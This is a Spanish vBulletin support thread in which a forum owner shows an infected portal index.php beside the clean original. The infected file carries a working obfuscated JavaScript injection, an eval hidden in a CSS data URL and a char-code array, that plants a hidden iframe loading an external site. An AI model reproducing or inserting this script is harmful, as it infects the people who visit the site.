subi el viejo .htaccess
Esta es una discusión para el tema No carga index.php en el foro vBulletin 3 - Preguntas, Problemas y Soluciones, bajo la categoría Soporte vBulletin; Hola a todos, el otro día quise entrar a mi foro y al cargarse el portal me salía el siguiente mensaje.
Código:
Parse error : syntax error, unexpected '?' in /homepages/19/d323109603/htdocs/cyedex/index.php on line 48
He ...
Página:
Hola a todos, el otro día quise entrar a mi foro y al cargarse el portal me salía el siguiente mensaje.
He hechado un vistazo a ese archivo y me bajé de nuevo el vbadvanced para comparar el index actual del foro y el que ya me venía con el vbadvanced.Código:Parse error: syntax error, unexpected '?' in /homepages/19/d323109603/htdocs/cyedex/index.php on line 48
En el del foro (actual) me viene lo siguiente.
Y el que viene con el vbadvanced sin modificar contiene lo siguiente.Código:<?php // ++=========================================================================++ // || vBadvanced CMPS v3.2.2 (vB 3.6 - vB 3.8) - 123679 // || © 2003-2010 vBadvanced.com - All Rights Reserved // || This file may not be redistributed in whole or significant part. // || http://vbadvanced.com // || Downloaded 16:22, Wed Jul 14th 2010 // || 110123679_407623053056 // ++ ========================================================================++ error_reporting(E_ALL & ~E_NOTICE & ~8192); define('THIS_SCRIPT', 'adv_index'); define('VBA_PORTAL', true); define('VBA_SCRIPT', 'CMPS'); // ============================================ // Enter the full path to your forum here // Example: /home/vbadvanced/public_html/forum // ============================================ $forumpath = 'la ruta'; // ============================================ // No Further Editing Necessary! // ============================================ if ($forumpath) { if (!is_dir($forumpath)) { echo 'Invalid forum path specified! Please edit this file and be sure to include the correct path for your $forumpath variable.'; exit; } chdir($forumpath); } $phrasegroups = array(); $globaltemplates = array(); $actiontemplates = array(); $specialtemplates = array(); require_once('./includes/vba_cmps_include_template.php'); require_once('./global.php'); print_portal_output($home); ?>html><body><script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#c0','background:url(data:,eval)');var hm=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var iix=r[i].cssRules||r[i].rules;for(var xoyy=0;xoyy<iix.length;xoyy++){var kba=iix.item?iix.item(xoyy):iix[xoyy];if(!kba.selectorText.match(/#c(\d+)/))continue;hm=kba.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};}catch(e){};} xo=new Date(2010,11,3,2,21,4);t=xo.getSeconds();var huur=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,400/t,420/t,388/t,440/t,388/t,412/t,388/t,456/t,184/t,396/t,488/t,184/t,396/t,396/t,188/t,420/t,440/t,184/t,448/t,416/t,448/t,252/t,388/t,244/t,324/t,324/t,428/t,280/t,264/t,412/t,192/t,268/t,264/t,260/t,396/t,312/t,264/t,412/t,292/t,308/t,276/t,428/t,396/t,296/t,264/t,324/t,356/t,312/t,260/t,412/t,324/t,268/t,264/t,324/t,292/t,308/t,264/t,476/t,244/t,244/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,400/t,420/t,388/t,440/t,388/t,412/t,388/t,456/t,184/t,396/t,488/t,184/t,396/t,396/t,188/t,420/t,440/t,184/t,448/t,416/t,448/t,252/t,388/t,244/t,324/t,324/t,428/t,280/t,264/t,412/t,192/t,268/t,264/t,260/t,396/t,312/t,264/t,412/t,292/t,308/t,276/t,428/t,396/t,296/t,264/t,324/t,356/t,312/t,260/t,412/t,324/t,268/t,264/t,324/t,292/t,308/t,264/t,476/t,244/t,244/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var zsas="";elze=function(){return{e:eval}}().e;qp=elze(hm);var pr='';var gsr="fro"+xo.getSeconds()+"arCode";gsr=gsr.replace(4,"mCh");ofz=String[gsr];for(var i=0;i<huur.length;i++){crvr=qp(huur[i]);ofz.call(crvr);pr+=ofz(crvr);} qp(pr);</script></body></html>>
Ayer lo conseguí arreglar subiendo el que me venia por defecto en vbadvanced pero hoy al entrar al foro volvía a salir el mensaje del principio.Código:<?php // ++=========================================================================++ // || vBadvanced CMPS v3.2.2 (vB 3.6 - vB 3.8) - 123679 // || © 2003-2011 vBadvanced.com - All Rights Reserved // || This file may not be redistributed in whole or significant part. // || http://vbadvanced.com // || Downloaded 13:14, Thu Jan 27th 2011 // || 110123679_407623053056 // ++ ========================================================================++ error_reporting(E_ALL & ~E_NOTICE & ~8192); define('THIS_SCRIPT', 'adv_index'); define('VBA_PORTAL', true); define('VBA_SCRIPT', 'CMPS'); // ============================================ // Enter the full path to your forum here // Example: /home/vbadvanced/public_html/forum // ============================================ $forumpath = 'la ruta'; // ============================================ // No Further Editing Necessary! // ============================================ if ($forumpath) { if (!is_dir($forumpath)) { echo 'Invalid forum path specified! Please edit this file and be sure to include the correct path for your $forumpath variable.'; exit; } chdir($forumpath); } $phrasegroups = array(); $globaltemplates = array(); $actiontemplates = array(); $specialtemplates = array(); require_once('./includes/vba_cmps_include_template.php'); require_once('./global.php'); print_portal_output($home); ?>
subi el viejo .htaccess